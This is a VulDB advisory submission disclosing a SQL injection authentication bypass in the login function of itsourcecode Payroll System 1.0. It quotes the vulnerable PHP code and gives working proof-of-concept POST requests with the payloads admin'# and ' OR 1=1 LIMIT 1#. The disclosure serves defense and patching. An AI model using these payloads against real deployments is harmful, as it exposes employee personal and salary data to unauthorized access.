| शीर्षक | itsourcecode Payroll System 1.0 SQL Injection |
|---|
| विवरण | Description:
The `login()` function in `admin_class.php` uses `extract($_POST)` and concatenates user input directly into the SQL query without any sanitization, escaping, or parameterization. An attacker can bypass authentication entirely by injecting SQL syntax into the username field. Combined with VULN-01 (missing auth on ajax.php), this is accessible without any prior authentication.
Vulnerable Code:
**File**: `admin_class.php`, Lines 18-30
```php
function login(){
extract($_POST);
$qry = $this->db->query("SELECT * FROM users where username = '".$username."' and password = '".$password."' ");
if($qry->num_rows > 0){
foreach ($qry->fetch_array() as $key => $value) {
if($key != 'passwors' && !is_numeric($key))
$_SESSION['login_'.$key] = $value;
}
return 1;
}
}
```
`extract($_POST)` imports all POST parameters as variables. Both `$username` and `$password` are directly interpolated into SQL without `mysqli_real_escape_string()` or prepared statements.
Proof of Concept:
**Comment out password check**:
```http
POST /ajax.php?action=login HTTP/1.1
Host: localhost:8093
Content-Type: application/x-www-form-urlencoded
username=admin'#&password=anything
```
Resulting SQL: `SELECT * FROM users where username = 'admin'#' and password = 'anything'`
**Generic OR-based bypass**:
```http
username=' OR 1=1 LIMIT 1#&password=anything
```
Impact:
- Complete unauthenticated authentication bypass
- Attacker gains full Administrator access to payroll system
- Access to all employee PII, salary data, attendance records
- Combined with VULN-01: zero authentication required for any API action
Reference: https://github.com/microwaveabi/vul/issues/8 |
|---|
| स्रोत | ⚠️ https://github.com/microwaveabi/vul/issues/8 |
|---|
| उपयोगकर्ता | microwave (UID 96185) |
|---|
| सबमिशन | 11/07/2026 05:17 AM (1 महीना पहले) |
|---|
| संयम | 24/08/2026 12:50 AM (1 month later) |
|---|
| स्थिति | स्वीकृत |
|---|
| VulDB प्रविष्टि | 394578 [itsourcecode Payroll System 1.0 admin_class.php login उपयोगकर्ता नाम SQL इंजेक्शन] |
|---|
| अंक | 20 |
|---|